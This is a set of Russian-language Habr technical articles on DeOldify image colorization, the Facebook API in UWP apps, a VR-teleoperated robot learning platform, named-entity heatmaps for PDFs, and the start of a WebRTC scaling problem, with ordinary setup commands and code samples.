Исходный код для проекта Tasks, а также для всех тестов, показанных в этой книге, доступен по [ссылке](https://pragprog.com/titles/bopytest/source_code "https://pragprog.com/titles/bopytest/source_code") на веб-странице книги в [pragprog.com](https://pragprog.com/titles/bopytest "https://pragprog.com/titles/bopytest"). Вам не нужно загружать исходный код, чтобы понять тестовый код; тестовый код представлен в удобной форме в примерах. Но что бы следовать вместе с задачами проекта, или адаптировать примеры тестирования, чтобы проверить свой собственный проект (руки у вас развязаны!), вы должны перейти на веб-страницу книги, чтобы скачать работу. Там же, на веб-странице книги есть ссылка на сообщение [errata](https://pragprog.com/titles/bopytest/errata "https://pragprog.com/titles/bopytest/errata") и [дискуссионный форум](https://forums.pragprog.com/forums/438 "https://forums.pragprog.com/forums/438").
Я программировал более двадцати пяти лет, и ничто не заставляло меня любить писать тестовый код так сильно, как pytest. Я надеюсь, что вы многому научитесь из этой книги, и я надеюсь, что в конечном итоге вы полюбите тестовый код так же, как и я.
[Дальше](https://habr.com/ru/post/448782/)  | https://habr.com/ru/post/426699/ | null | ru | null |
# Раскрашивание изображений с использованием нейронных сетей
[DeOldify](https://github.com/jantic/DeOldify) — это проект, основанный на глубоком обучении, для раскрашивания и восстановления изображений. Модель использует архитектуру NoGAN для обучения модели.
Мы будем использовать эту модель, чтобы преобразовать некоторые старые черно-белые фотографии, добавив к ним цвет.
### Модель Deoldify
Deoldify использует генеративно-состязательную нейронную сеть (GAN).
Помимо использования GAN в этой модели также используется метод, известный как No-GAN.
Большинство GAN состоят из двух частей - Генератор и Дискриминатор.
Генератор — это часть, которая создает изображение. Дискриминатор пытается выделить настоящие цветные изображения из фейковых перекрашенных изображений. Техника No-GAN работает путем обучения моделей генератора и дискриминатора, присутствующих в GAN, изолированно.
Это похоже на то, как вы обучаете обычную нейронную сеть, но отличается от GAN, поскольку они обычно обучаются параллельно. Затем они настраиваются вместе, как правило, так, как вы тренируете GAN.
Модель работает, беря черно-белое изображение и передавая его модели Deoldify. Затем модель выводит цветное изображение.
### Клонирование репозитория GitHub
Мы собираемся использовать репозиторий GitHub, содержащий реальную модель.
```
git clone https://github.com/jantic/DeOldify.git DeOldify
```
Приведенный выше код клонирует репозиторий DeOldify в папку.
### Установка необходимых зависимостей
Чтобы использовать модель, нам нужно установить "пару" зависимостей.
```
pip install -r colab_requirements.txt
```
Эти зависимости включают в себя:
* fastai==1.0.51
* wandb
* tensorboardX==1.6
* ffmpeg-python
* youtube-dl>=2019.4.17
* jupyterlab
* pillow>=8.0.0
### Загрузка модели
Далее нам нужно загрузить предварительно обученную модель.
```
mkdir 'models'
wget https://data.deepai.org/deoldify/ColorizeArtistic_gen.pth -O ./models/ColorizeArtistic_gen.pth
```
Мы создали новую папку с именем models внутри основной папки. С использованием `wget` мы загружаем предварительно обученную модель в эту только что созданную папку.
### Примеры входных изображений
Возьмем черно-белые изображения и добавим к ним немного цвета. Изображения, которые мы будем использовать:
### Работа с моделью
Буду пользоваться языком программирования python 3.10, среда разработки - jupyter notebook.
Проведем импорт необходимых библиотек.
```
from PIL import Image
from deoldify import device
from deoldify.device_id import DeviceId
#choices: CPU, GPU0...GPU7
device.set(device=DeviceId.GPU0)
import torch
if not torch.cuda.is_available():
print('GPU not available.')
import fastai
from deoldify.visualize import *
torch.backends.cudnn.benchmark = True
# если версия python >= 3.10 необходимо отдельно переназначить модуль Sized
import collections
collections.Sized = collections.abc.Sized
# работаю в соседней папке, импортирую папку DeOldify
import sys
sys.path.append('./DeOldify')
```
Укажем путь к входному файлу
```
image_path = '6.jpg'
```
Далее создадим переменную colorizer для хранения нашей модели
```
colorizer = get_image_colorizer(artistic=True)
```
С использованием `plot_transformed_image`метод, передадим входное изображения, на выходе колоризованная картинка.
```
colorizer.plot_transformed_image(image_path, render_factor=35, display_render_factor=True, figsize=(8,8))
```
Значение по умолчанию 35 для `render_factor`хорошо работает в большинстве случаев. `render_factor`определяет разрешение, при котором отображается цветная часть изображения. Нижний `render_factor`идеально подходит для изображений с более низким разрешением, в то время как более высокий `render_factor`для изображений с высоким разрешением.
### Примеры выходных цветных изображений
Мы видим, что модель Deoldify добавила цвета нашим изображениям. Мы достигли этих результатов, написав всего несколько строк кода.
### Заключение
Модель Deoldify позволяет раскрашивать черно-белые изображения. Модель с открытым исходным кодом и доступна через [GitHub](https://github.com/jantic/DeOldify) . Вы можете легко поэкспериментировать со своими черно-белыми изображениями и добавить к ним цвет. | https://habr.com/ru/post/681928/ | null | ru | null |
# Работа с Facebook API из приложений UWP
[](http://habrahabr.ru/post/307026/)
Люди, как правило, существа очень забывчивые. Для того чтобы не заставлять пользователей запоминать новый пароль при регистрации в вашем приложении UWP, можно использовать аккаунты сторонних платформ. При этом, можно не заставляя заполнять длиннющие анкеты получить доступ к какой-либо полезной информации и характеристикам пользователя. О том, что публикация контента в социальных сетях повышает конверсию даже и упоминать не буду, это и так понятно. Если хотите разобраться, как работать с самой пока что популярной сетью в мире из C#/XAML приложений UWP, не куря мануалы, то добро пожаловать под кат.
#### Создание связи приложения Facebook с приложением UWP
Для того, чтобы приложение UWP могло работать с Facevook API нужно создать приложение Facebook. Это делается через портал <https://developers.facebook.com/apps/> нажатием кнопки "+ Добавьте новое приложение"
Заполняем поля названия приложения и контактного адреса, а также классифицируем приложение, выбрав категорию.
Далее нам необходима функция входа через facebook
Выстраиваем переключатели таким образом, чтобы как минимум **клиентская авторизация OAuth**, **веб-авторизация OAuth** и **авторизация OAuth, встроенная в браузер** были включены
и выбираем платформу, нажав на **platform settings**
Получаем окошко:
в котором выбираем **Приложение для Windows**
Теперь можно сделать какие-то настройки, но они не критичные. Зато впоследствии понадобится идентификатор приложения facebook.
То, что нам действительно нужно заполнить, находится немного ниже:
Значение идентификатора безопасности магазина Windows (SID) можно получить разными способами.
Более простой способ это из кода с помощью:
```
WebAuthenticationBroker.GetCurrentApplicationCallbackUri().ToString();
```
Эта строка вернет нам **ms-app://SID** (ms-app:// необходимо будет удалить)
Второй способ требует, чтобы приложение было связано с Store. В таком случае можно зайти в [панель управления](https://developer.microsoft.com/dashboard/overview), далее в App management приложения и выбрать App identity. Значение PackageSID это и есть то, что нужно.
#### Работа с Facebook API с помощью Windows SDK for Facebook
Используем библиотеку от Microsoft с труднопроизносимым сокращенным названием [winsdkfb](https://github.com/Microsoft/winsdkfb). Полное название выговорить гораздо проще — Windows SDK for Facebook. Это самый удобный способ использовать API фейсбука из приложений UWP. Скачать и установить ее можно с [NuGet](https://www.nuget.org/packages/winsdkfb)
В C# код страницы XAML добавим пространство имен
```
using winsdkfb;
```
Код аутентификации такой:
```
string[] requested_permissions = {"public_profile", "email", "user_friends"};
FBSession session = FBSession.ActiveSession;
session.WinAppId = WebAuthenticationBroker.GetCurrentApplicationCallbackUri().ToString();
session.FBAppId = "229583744102151";
FBPermissions permissions = new FBPermissions(requested_permissions);
FBResult result = await session.LoginAsync(permissions);
if (result.Succeeded)
{
// здесь мы можем что-то полезное сделать
}
else
{
// не получилось получить доступ к аккаунту facebook
}
```
Первая строка задает разрешения, доступ к которым получит приложение. В примере упомянуто 3 разрешения, на которые facebook не запрашивает дополнительных подтверждений пользователя.
Полный список находится по ссылке [Справка по разрешениям: «Вход через Facebook»](https://developers.facebook.com/docs/facebook-login/permissions/)
Два параметра, которые необходимо задать для подключения, это уже упомянутый SID и идентификатор созданного приложения facebook.
В результате получим следующее встроенное окно:
Зная как войти, нужно знать, как выйти. Это можно сделать с помощью подобного кода:
```
FBSession sess = FBSession.ActiveSession;
await sess.LogoutAsync();
```
Простые данные пользователя можно получить из объекта session.User
```
string username = session.User.Name; // имя пользователя
string locale = session.User.Locale; // локаль пользователя
```
Что можно сделать полезное? Например, можно добавить в свое приложение возможность размещения в ленту сообщения с результатом/рекордом игры или приглашением присоединиться
```
PropertySet parameters = new PropertySet();
parameters.Add("title", "Угадай MP3");
parameters.Add("link", "https://www.microsoft.com/ru-ru/store/p/Угадай-mp3/9wzdncrdkwgv");
parameters.Add("description", "Прикольная игра а-ля угадай мелодию для компании");
parameters.Add("message", "Попробуй тоже эту прикольную игру");
string path = "/" + session.User.Id + "/feed";
var factory = new FBJsonClassFactory(s =>
{
return JsonConvert.DeserializeObject(s);
});
var singleValue = new FBSingleValue(path, parameters, factory);
var fbresult = await singleValue.PostAsync();
if (fbresult.Succeeded)
{
var response = fbresult.Object as FBReturnObject;
}
else
{
// Попытка запостить оказалась неудачной
}
```
Данный сниппет выполняется в случае, если if (result.Succeeded) возвращает true (то есть после успешной аутентификации). Он использует популярный парсер JSON под названием NewtonSoft.JSON, который нужно установить из [NuGet](https://www.nuget.org/packages/newtonsoft.json/).
Кроме того, необходимо чтобы в проекте присутствовал следующий класс, который характеризует результат совершения операции:
```
public class FBReturnObject
{
public string Id { get; set; }
public string Post_Id { get; set; }
}
```
Есть вариант разместить сообщение в ленте, при этом отобразив диалоговое окно, в котором пользователь сможет добавить комментарий. Код немного проще:
```
PropertySet parameters = new PropertySet();
parameters.Add("title", "ТесТ");
parameters.Add("link", "https://www.microsoft.com/ru-RU/store/p/take-a-test/9wzdncrdkwgx");
parameters.Add("description", "Нескучная программа для проведения тестирований");
parameters.Add("message", "Я прошел тест с отличным результатом");
FBResult fbresult = await session.ShowFeedDialogAsync(parameters);
if (fbresult.Succeeded)
{
var response = fbresult.Object as FBReturnObject;
}
else
{
// Попытка запостить оказалась неудачной
}
```
С помощью следующего небольшого сниппета, пользователь может отправить ссылку кому-нибудь из друзей и добавить к ней какое-либо сообщение:
```
PropertySet parameters = new PropertySet();
parameters.Add("link", "http://www.habrahabr.ru");
FBResult fbresult = await session.ShowSendDialogAsync(parameters);
```
Примеры приложений, использующих winsdkfb, находятся на [GitHub](https://github.com/Microsoft/winsdkfb/tree/master/samples), но для C# пока что пример только один и то не особо понятный.
Более-менее нормальная документация находится [по ссылке](http://microsoft.github.io/winsdkfb/index.html)
В частности кроме уже рассмотренных способов взаимодействия с fb рассматриваются следующие возможности: загрузка фото/видео, отправка приглашения друзьям (только для игр), лайк какого-либо объекта или ссылки. | https://habr.com/ru/post/307026/ | null | ru | null |
# ML,VR & Robots (и немного облака)
Всем привет!
Хочу рассказать об очень не скучном проекте, где пересеклись робототехника, Machine Learning (а вместе это уже Robot Learning), виртуальная реальность и немного облачных технологий. И все это на самом деле имеет смысл. Ведь это и правда удобно — вселяться в робота, показывать, что ему делать, а затем обучать веса на ML сервере по сохраненным данным.
Под катом мы расскажем, как оно сейчас работает, и немного деталей про каждый из аспектов, который пришлось разрабатывать.
#### Зачем
Для начала стоит немного раскрыть проблему.
Кажется, роботы, вооруженные Deep Learning, вот-вот повсеместно вытеснят людей с их рабочих мест. На самом деле все не так гладко. Там, где действия строго повторяются, процессы уже действительно неплохо автоматизируется. Если речь идет о “умных роботах”, то есть применения, где компьютерного зрения и алгоритмов уже достаточно. Но так же остается много крайне сложных историй. Роботы с трудом справляются с разнообразием объектов, с которыми приходится иметь дело, и разнообразием окружающей обстановки.
#### Ключевые моменты
Есть 3 ключевые вещи с точки зрения реализации, которые еще не везде встречаются:
* Возможность прямого обучения из управления роботом (data-driven learning). Т.е. по мере того, как оператор управляет роботом, запоминаются все данные с камер, датчиков и сигналы управления. Затем, эти данные используются для обучения.
* Вынесение вычислительной задачи (мозгов) из механического тела робота
* Следование принципу робото-человеческой взаимопомощи (Human-machine collaboration)
Второе важно еще и потому, что прямо сейчас мы будем наблюдать изменение в подходах к обучению, алгоритмов, за ними и вычислительных средств. Алгоритмы восприятия и управления станут более гибкими. А модернизация робота стоит денег. Да и вычислитель можно эффективнее использовать, если он будет обслуживать сразу несколько роботов. Эта концепция называется “cloud robotics”.
С последним все просто — AI прямо сейчас развит недостаточно, чтобы обеспечивать 100% надежности и точности во всех ситуациях, которые требуются бизнесу. Поэтому не помешает супервайзер-оператор, который сможет иногда помогать подопечным роботам.
#### Схема
Для начала о программной/сетевой платформе, которая обеспечивает всю описанную функциональность:
Составные части:
1. Робот отправляет 3D видео-поток на сервер, в ответ получает управление.
2. Облачная часть включает в себя: сервера приема-передачи стримов, сервис регистратора сущностей в системе (роботов, операторов, администраторов, серверов)
3. Отдельно вынесена ML часть (машинное обучение), в ее составе есть сервера для переобучения моделей, а также сервера, управляющие роботом. Они функционируют полностью аналогично операторам — получают 3D стрим на вход, на выходе формируют управляющие сигналы.
4. Есть клиент-приложение для оператора, отрисовывающее 3D поток с робота в шлем виртуальной реальности, предоставляющее достаточный UI для управления роботом. На выход — управление.
#### Порядок автоматизации
Есть 2 режима функционирования робота: автоматический и ручной.
В ручном режиме робот работает, если ML сервис еще не обучен. Затем из автоматического робот переходит в ручной либо по запросу оператора (увидел странности в поведении, следя за роботом), либо при детектировании аномалии самим ML сервисов. О детекции аномалиях будет позже — это очень важная часть, без которой невозможно применять предложенный подход.
Эволюция управления получается следующая:
1. Формируется задание для робота в понятных человеку терминах и описываются показатели производительности
2. Оператор подключается к роботу в VR и выполняет поставленную задачу в рамках существующего рабочего процесса некоторое время
3. ML часть обучается на полученных данных
4. Робот начинает работать автономно под присмотром оператора, в случае выявление аномалий ML сервисом управления или самим оператором робот снова переключается в ручной режим и дообучается
5. Формируется еженедельный отчет по заданным показателям производительности и проценту времени выполнения работы в автоматическом режиме
#### Интеграция с роботом и немного о компрессии 3D
Очень часто для роботов используется среда ROS (robot operating system), которая по факту является фреймворком для управления “node-ами” (узлами), каждый из которых обеспечивает часть функциональности робота. В целом, это относительно удобный способ программирования роботов, который в чем-то напоминает микросервисную архитектуру веб приложений по своей сути. Основное достоинство ROS — это стандарт в отрасли и уже есть огромное количество модулей, необходимых для создания робота. Даже промышленные робо-руки могут иметь модуль сопряжения с ROS.
Самое простое — сделать модель сопряжения (bridge) между нашей серверной частью и ROS. Например, [такой](https://github.com/VasilyMorzhakov/rembrainbridge_ros). Сейчас в нашем проекте используется более развитая версия ROS “ноды”, которая логинится и опрашивает микросервис регистра, к какому ретрансляционному серверу может подключиться конкретный робот. Исходный код приведен лишь как пример инструкции по установки ROS модуля. Поначалу, когда осваиваешь этот фреймворк (ROS), все выглядит довольно недружелюбно, но документация сделано довольно неплохо, и через пару недель разработчики начинают довольно уверенно использовать его функционал.
Из интересного — проблема компрессии 3D потока данных, которую нужно производить непосредственно на роботе.
Не так и просто сжать карту глубин. Даже при небольшой степени сжатия RGB потока допускается очень серьезное локальное искажение яркости от истинного в пикселях на границах или при движении объектов. Глаз этого почти не замечает, но как только такие же искажения допускаются в карте глубин, при отрисовке 3D все становится очень плохо:
(из [статьи](http://reality.cs.ucl.ac.uk/projects/depth-streaming/depth-streaming.pdf))
Эти дефекты на краях сильно портят 3D сцену, т.к. появляется просто много мусора в воздухе.
Мы стали использовать покадровое сжатие — JPEG для RGB и PNG для карты глубины с небольшими хаками. Такой способ жмет поток 30FPS для 3D сканера разрешения 640х480 в 25Мбит/с. Можно обеспечить и лучшее сжатие, если трафик критичен для приложения. Существуют коммерческие кодеки 3D потока, которые также могут использоваться для сжатия этого потока.
#### Управление в виртуальной реальности
После того, как мы провели калибровку систему отсчета камеры и робота (и мы уже писали [статью про калибровку](https://habr.com/ru/company/recognitor/blog/475916/)), роборукой можно управлять в виртуальной реальности. Контроллер задает и позицию в 3D XYZ и ориентацию. Для некоторых роборук будет достаточно только 3х координат, но с бОльшим количеством степеней свободы нужно передавать и ориентацию инструмента, заданного контроллером. Кроме того, элементов управления на контроллерах хватает и для исполнения команд робота вроде включения/отключения насоса, управления захватом и других.
Изначально, было решено использовать JavaScript framework для виртуальной реальности A-frame, основанный на движке WebVR. И первые результаты (видео демонстрации в конце статьи для 4х координатной руки) были получены именно на A-frame.
На деле оказалось, что WebVR (или A-frame) было неудачным решением по ряду причин:
* [совместимость в основном с FireFox](https://webvr.info/), при этом именно в FireFox фреймворк A-frame не освобождал ресурсы текстур (остальные браузеры справлялись), пока потребление оперативной памяти не достигало 16Гб
* ограниченность взаимодействия с VR контроллерами и шлемом. Так, например, не получилось добавить дополнительные метки, которыми можно задавать положение, например, локтей оператора.
* приложение требовало многопоточности или нескольких процессов. В одном потоке/процессе нужно было распаковывать видео-кадры, в другом — отрисовывать. В итоге все было организовано через worker-ы, но время распаковки достигало 30 мс, а отрисовку в VR нужно делать с частотой 90FPS.
Все эти недостатки выливались в то, что отрисовка кадра не успевала в отведенные ей 10мс и были очень неприятные подергивания в VR. Вероятно, все можно было побороть, но самобытность каждого браузера немного напрягала.
Сейчас мы решили уйти в C#, OpenTK и C# порт библиотеки OpenVR. Есть еще альтернатива — Unity. Пишут, что Unity для новичков… но сложно.
Самое главное, что нужно было найти и познать для обретения свободы:
```
VRTextureBounds_t bounds = new VRTextureBounds_t() { uMin = 0, vMin = 0, uMax = 1f, vMax = 1f };
OpenVR.Compositor.Submit(EVREye.Eye_Left, ref leftTexture, ref bounds, EVRSubmitFlags.Submit_Default);
OpenVR.Compositor.Submit(EVREye.Eye_Right, ref rightTexture, ref bounds, EVRSubmitFlags.Submit_Default);
```
(это код отправки двух текстур в левый и правый глаза шлема)
Т.е. отрисовать в OpenGL в текстуры то, что видят разные глаза, и отправить в очки. Радости не было предела, когда получилось залить левый глаз красным, а правый — синим. Еще пару дней и вот карта глубин и RGB, приходящая по webSocket, переводились в полигональную модель за 10мс вместо 30 на JS. А дальше просто опрашивать координаты и кнопки контроллеров, ввести систему событий для кнопок, обработать нажатия пользователя, ввести State Machine для UI и вот уже можно хватать стаканчик из под эспрессо:
Сейчас несколько удручает качество Realsense D435, но это пройдет, как только поставим хотя бы [вот такой интересный 3D сканер от Microsoft](https://azure.microsoft.com/en-us/services/kinect-dk/), облако точек которого намного точнее.
#### Сторона сервера
*Сервер ретрансляции*
Основным функциональным элементов является сервер ретрансляции (server in the middle), который получает от робота видео-поток с 3D снимками и показаниями датчиков и состояния робота и распределяет между потребителями. Входные данные — упакованные кадры и показания датчиков, приходящие по TCP/IP. Раздача потребителям осуществляется web-socket-ами (очень удобный механизм для стриминга нескольким потребителям, в том числе и в браузер).
Кроме того, промежуточный сервер сохраняет поток данных в облачное хранилище S3, чтобы впоследствии их можно было использовать для обучения.
Каждый сервер ретрансляции поддерживает http API, которое позволяет выяснить его текущее состояние, что удобно для контроля текущих подключений.
Задача ретрансляции достаточно тяжелая, как с точки зрения вычислительной, так и с точки зрения трафика. Поэтому здесь мы следовали логике, что сервера ретрансляции разворачиваются на множестве облачных серверов. А, значит, нужно вести учет кто куда подключается (особенно, если роботы и операторы в разных регионах)
*Регистр*
Самым надежным сейчас будет жестко задать для каждого робота, к каким серверам он может подключаться (резервирование не помешает). ML сервис управления ассоциируется с роботом, опрашивает сервера ретрансляции, чтобы определить к какому из них сейчас подключен робот и подключается к соответствующему, если, конечно, у него для этого достаточно прав. Аналогично действует и приложение оператора.
Самое приятное! В силу того, что обучение роботов представляет из себя услугу, сервис виден только нам внутри. Значит, его front-end может быть максимально удобным, собственно нам! Т.е. это консоль в браузере (есть прекрасная своей простотой библиотека [TerminalJS](http://erikosterberg.com/terminaljs/), которую очень легко дорабатывать, если хочется дополнительных функций, вроде автодополнения по клавише TAB или воспроизведения истории вызовов) и выглядит вот так:
Это, конечно, отдельная тема для обсуждения, почему же командная строка так удобна. Кстати, особенно удобно делать unit-тестирование такого frontend-а.
Помимо http API в этом сервисе реализован механизм регистрации пользователей с временными token-ами, login/logout операторов, администраторов и роботов, поддержка сессии, сессионных ключей шифрования трафика между сервером ретрансляции и роботом.
Все это сделано на Python с Flask-ом — очень близкий стек для ML разработчиков (т.е. нам). Да, к тому же, существующая инфраструктура CI/CD для микросервисов отлично дружит с Flask.
#### Проблема задержки
Если мы хотим управлять манипуляторами в реальном времени, то минимальная задержка крайне полезна. Если задержка становится слишком большой (более 300 мс), то очень сложно, опираясь на изображение в виртуальном шлеме, управлять манипуляторами. В нашем решении за счет покадрового сжатия (т.е. отсутствует буфферизация) и не использования стандартных средств, как GStreamer, задержка даже с учетом промежуточного сервера получается около 150-200 мс. Время на передачу по сети из них составляет около 80мс. Остальная задержка вызвана камерой Realsense D435 и ограниченностью частоты захвата.
Конечно, это проблема в полный рост встает в режиме “слежения”, когда манипулятор в своей реальности постоянно следует за контроллером оператора в виртуальной реальности. В режиме перемещения в заданную точку XYZ задержка не вызывает каких-либо проблем у оператора.
#### ML часть
Здесь 2 типа сервисов: управление и обучение.
Сервис для обучения забирает данные, сохраненные в хранилище S3, и запускает перетренировку весов модели. В конце обучения веса отправляются сервису управления.
Сервис управления ничем не отличается по входным-выходным данным от приложения оператора. Точно также на входе RGBD(RGB+Depth) стрим, показания датчиков и состояния робота, на выходе — команды управления. За счет этой идентичности и появляется возможно обучать в рамках концепции “data-driven training”.
Состояние робота (и показания датчиков) — это ключевая история для ML. Оно определяет контекст. Например, у робота будет характерная для его работы машина состояний, которая во многом определяет какое управление необходимо. Эти 2 значения и передаются вместе с каждым кадром: режим работы и вектор состояния робота.
*И немного про обучение:*
В демонстрации в конце статьи стояла задача поиска объекта (детского кубика) на 3D сцене. Это базовая задача для pick&place применений.
Обучение строилось по паре кадров “до и после” и целеуказания, полученного при ручном управлении:
За счет наличия двух карт глубин легко было вычислить маску перемещенного в кадре объекта:
Кроме того, xyz проецируются на плоскость камеры и можно выбрать окрестность хватаемого объекта:
Собственно с этой окрестностью и будет работать.
Первично XY получим, обучив Unet сверточную сеть на сегментацию кубика.
Затем, нам нужно определить глубину и понять, не аномальное ли перед нами изображение. Это делается с помощью автоэнкодера в RGB и условного автоэнкодера в depth.
Архитектура модели для обучения автоэнкодера:
В итоге логика работы:
1. поиск максимума на “тепловой карте” (определяют угловые u=x/z v=y/z координаты объекта), превышающего порог
2. затем автоэнкодер реконструирует окрестности найденной точки для всех гипотез по глубине (с заданным шагом от min\_depth до max\_depth) и выбирается глубина, на которой невязка реконструкции и входа минимальна
3. Имея угловые координаты u, v и depth можно получить координаты x,y,z
Пример реконструкции автоэнкодером карты глубин кубика при правильно определенной глубине:
Отчасти, идея метода поиска глубины построена на [статье про наборы автоэнкодеров](https://arxiv.org/pdf/1811.02373.pdf).
Этот подход хорошо работает для объектов разнообразной формы.
Но, в целом, есть множество разнообразных подходов для поиска XYZ объекта по RGBD снимку. Конечно, надо на практике и на большом объеме данных выбирать наиболее точный метод.
Также стояла задача детекции аномалий, для этого нам понадобится сегментационная сверточная сеть, чтобы обучаться по имеющимся маскам. Затем согласно этой маске можно оценить точность реконструкцию автоэнкодера в карте глубин и RGB. По этой невязке и можно принять решение о присутствии аномалии.
За счет этого метода можно детектировать появление ранее не виданных объектов в кадре, которые тем не менее детектируются первичным алгоритмом поиска.
#### Демонстрация
Проверка и отладка всей созданной программной платформы проводилась на стенде:
* 3D камера Realsense D435
* 4х координатная роборука Dobot Magician
* VR шлем HTC Vive
* Сервера на Yandex Cloud (уменьшает задержку в сравнении с AWS облаком)
На видео мы учим находить кубик на 3D сцене, выполняя в VR pick&place задачу. Для обучения на кубике было достаточно около 50 примеров. Затем меняется объект и показывается еще около 30 примеров. После переобучения, робот может находить и новый объект.
На весь процесс затрачено около 15 минут, из которых около половины — обучение весов модели.
А на этом видео управление YuMi в VR. Для обучения манипуляции объектов тут нужно оценить ориентации и места захвата инструмента. Математика построена на аналогичном принципе, но сейчас находится на стадии тестирования и отработки.
#### Заключение
Большие данные и Deep learning — это еще не все.
Мы меняем подход к обучению, движемся к тому, как люди учатся новому — через повторение увиденного.
Математический аппарат “под капотом”, который мы будем развивать на реальных применениях, нацелен на проблему контекстно-зависимой трактовки и управления. Контекстом здесь выступает естественная информация, доступная с датчиков робота или внешняя информация о текущем технологическом процессе.
И, чем больше технологических процессов мы освоим, тем больше будет развита структура “мозга в облаках”, и натренированы отдельные его части.
Сильные стороны этого подхода:
* возможность обучения манипуляции вариативными объектами
* обучение при изменяющемся окружение (например у мобильных роботов)
* плохо структурируемые задачи
* короткое время достижения рынка, т.к. можно выполнять целевую задачу даже в ручном режиме с помощью операторов
Ограничение:
* потребность в надежном и неплохом интернете
* необходимы дополнительные методы достижения высокой точности, например, камеры в самом манипуляторе
Сейчас мы работаем над применением нашего подход в стандартной задаче pick&place разнообразных объектов. Но нам (естественно!) кажется, что он способен на большее. Есть идеи, где еще попробовать силы?
Благодарю за внимание! | https://habr.com/ru/post/486680/ | null | ru | null |
# Построение тепловой карты именованных сущностей
Именованные сущности – это слово или сочетание, обозначающее объект либо явление определенной категории. Говоря о таких объектах в контексте анализа данных, чаще всего имеют в виду ограниченный набор видов: имя (псевдоним), дата, должность (роль), адрес, денежная сумма, название организации и др.
Расположение данных объектов в строгой структуре документа формирует отдельное признаковое пространство визуальной стороны страницы и может повысить качество классификации (или кластеризации). Предлагаем разобраться, как можно получить и использовать координаты именованных сущностей в документе.
Возьмем бланк одностраничного согласия на обработку персональных данных
Перед извлечением сущностей необходимо проделать подготовительную работу по извлечению и обработке текста.
Для работы с PDF-документами разработан многофункциональный модуль PyMuPDF. Разнообразие классов позволяет читать, редактировать, модифицировать документ огромным количеством способов.
```
#читаем бланк:
document = fitz.open('C:/yourpath/soglasie.pdf')
page = document.load_page(0)
#считываем текст:
doc_text = page.get_text()
#избавляемся от отступов и лишних знаков:
clear_text = re.sub('/n|', ' ', doc_text)
```
Для извлечения сущностей используем компактную модель Natasha. Она работает быстро и находит несколько типов объектов: организации, имена и места. Предварительно загружаем предобученные эмбеддинги и NER-библиотеку Slovnet (в системе Наташи модули интегрированы).
```
navec = Navec.load('C:/yourpath/navec_news_v1_1B_250K_300d_100q.tar')
ner = NER.load('C:/yourpath/slovnet_ner_news_v1.tar')
ner.navec(navec)
Использование библиотеки простое и изящное:
markup = ner(clear_text)
```
Так выглядит разметка в тексте
Бывает так, что распознаются сочетания, не имеющие отношения к вышеназванным типам сущностей. Такая проблема – одна из основных в сфере распознавания в русском языке, и на данный момент она представляет собой огромное поле для развития.
Сущности на руках. Как теперь разметить текст в самом документе? Natasha возвращает координаты объекта в тексте – первый и последний знак, что не дает даже представления о пространственной разметке листа документа. Решение есть! Для начала с помощью данных координат получим текстовое представление именованных сущностей
А теперь поможет PyMuPDF. Несколькими простыми командами можно извлечь области на странице, которые соответствуют искомому тексту:
```
#получаем текстовую оболочку документа
txt_page = page.get_textpage()
#проводим поиск сущностей по тексту
for ent in ents:
quads.append(txt_page.search('{}'.format(ent), quads=True))
```
Остается передать эти точки в функцию маркера:
```
for quad in quads:
page.add_highlight_annot(quad)
```
Итог
Координаты расположения сущности на странице ценны сами по себе. Как упоминалось выше, это дополнительный набор признаков для модели классификации или кластеризации документов. Однако можно пойти дальше и создать тепловую карту именованных сущностей. Карта дает приблизительные рамки нахождения искомого текста, что будет плюсом при обработке большого количества документов, так как точные координаты могут быть актуальны только для нескольких экземпляров.
Понадобится страница с одной подсветкой, без текста. Для дальнейшей обработки изображения необходимо провести бинаризацию – привести иллюстрацию в черно-белый вид (рис. 6). Преобразование проводится с помощью OpenCV.
Для бинарного изображения найдем евклидово расстояние между черными точками. Получаем массив с расстояниями той же размерности, что и исходное изображение.
При визуализации получается следующая карта
Очертания полос приблизительно угадываются, но области сгущения слишком большие. Подобная ситуация исправляется фильтрацией изображения. Используем медианный фильтр. Его суть заключается в следующем: для каждого пикселя изображения проводится поиск окружения (квадрат 3\*3, центром которого и является данный пиксель), значения пикселей сортируются, находится медианное значение. Им и заменяется центр квадрата. Чтобы ускорить процесс, можно использовать готовую функцию из удобного модуля работы с изображениями в Python.
Теперь контуры сгустков близки к разметке на странице, и по ним видно приблизительное расположение сущностей. Чтобы убрать лишний информационный шум, изменим цветовой набор изображения
Возьмем экземпляр согласия на обработку персональных данных Альфабанка. Проведем те же манипуляции и получим обобщенный рисунок сущностей.
Такая тепловая карта отображает расположение нужных объектов для целого набора документов. Подобный механизм анализа универсализирует инструмент их обработки, поскольку позволяет собирать информацию для группы шаблонов за определенный период времени и выявлять закономерности. | https://habr.com/ru/post/573024/ | null | ru | null |
# Математика нужна программистам, или задача, которую мне пришлось решать
Всем привет!
Я работаю над [WebRTC](https://webrtc.googlesource.com/src/+/refs/heads/master/README.md) - фреймворком для аудио-видео конференций (или звонков? проще говоря - real time communication). В этой статье я хочу описать интересную задачу и как она была решена. В задаче, по сути, потребовалось минимизировать lcm нескольких вещественных чисел с дополнительными ограничениями. Пришлось применить совсем чуть чуть теории чисел или хотя бы логики.
Если вам интересна только задача - то можете смело проматывать до секции "Формулировка задачи". Следующая секция объясняет откуда она такая взялась и в чем ее смысл.
Введение
--------
Клиенты могут настроить WebRTC кодировать входящий поток сразу в нескольких разрешениях. Например, это может быть полезно в видео конференциях: каждый клиент посылает на сервер несколько потоков с разным разрешением и битрейтом, а сервер пересылает всем остальным только тот поток, который помещается в пропускную способность до клиента.
Но нельзя просто задать желаемые разрешения, нет - это было бы слишком просто. Дело в том, что источник (например, камера в хроме) может выдавать видео какого угодно разрешения. А еще есть механизм обратной связи и при высокой нагрузке на CPU входящее разрешение снижается. Короче говоря, пользователь задает коэффициенты масштабирования.Потом входящий кадр сжимается в заданное количество раз, кодируется и отправляется по сети получателям.
Проблема в том, что некоторые энкодеры не работают с произвольными изображениями - им обязательно нужны четные размеры. А еще есть всякие оптимизации при кодировании, если соотношение разрешения у разных изображений целое. А главное, если у разных потоков будет разное соотношение сторон то при переключении между ними будет весьма заметный рывок. Поэтому надо, чтобы входящее разрешение нацело делилось на все коэффициенты.
